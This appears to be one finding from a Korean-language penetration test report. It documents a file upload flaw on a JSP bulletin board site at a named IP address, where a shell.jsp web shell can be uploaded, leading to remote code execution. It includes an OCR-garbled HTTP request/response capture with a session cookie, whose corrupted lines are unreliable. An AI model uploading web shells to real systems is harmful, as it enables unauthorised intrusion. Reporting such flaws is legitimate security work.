## Vulnerability Discovery\_16

## **Target**

: http://124.60.4.10:9998/writeAction.jsp

## **Payload**

: 파일 업로드 shell.jsp

## **Impact**

: 파일 업로드 취약점을 이용한 shell.jsp 파일 업로드 가능 추후 APT 공격 및 원격실행코드 확인

```
Request
                                                                                                                                                  Response
                                                                                                                                                    Pretty
 Pretty
                   Raw
                                                                                                                                                                  Raw
                                                                                                                                                  9 </script >
  1 POST /writeAction.jsp HTTP/1.1
2 Host: 124.60.4.10:9998
  3 Content-Length : 56636
4 Cache-Control : max-age=0
5 Upgrade-Insecure-Requests
 Safari/537.36
  9 Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image
text/html,application/xhtml+xml,application/xml;q=0.9,image/avpif,image/
/webp,image/anga,*vi=q=0.8,application/signed-exchange;v=b3;q=0.9

Referer: http://124.60.4.10:9998/write.jsp
11 Accept-Encoding: gzip, deflate
2 Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7

Cookie: session =
eyJic3JmXSRva2Vuljoi0Wm2hzAOZDJiv2klZjcOMjkwMD10ZT140DVkM2VxZWQDVWFjVm
ZhMSIshv2ZVlfaV010JJ9,V8JcM0.u0sv4R1Tx06Ubz3ayd-3H8VuWVE: JSESSI
9900C0191989F73096ABB08F64DD924F
                                                                                                                                               22
23 <!DOCTYPE html>
24 <html>
                                                                                                                                                         <head>
  <meta http-equiv ="Content-Type " content ="text/html; charset=UTF-8 ">
                                                                                                                                                           <title>
                                                                                                                                                                 JSP 게시판 사이트
                                                                                                             ; JSESSIONID =
                                                                                                                                                           </title>
                                                                                                                                              28 </head>
14 Connection : close
```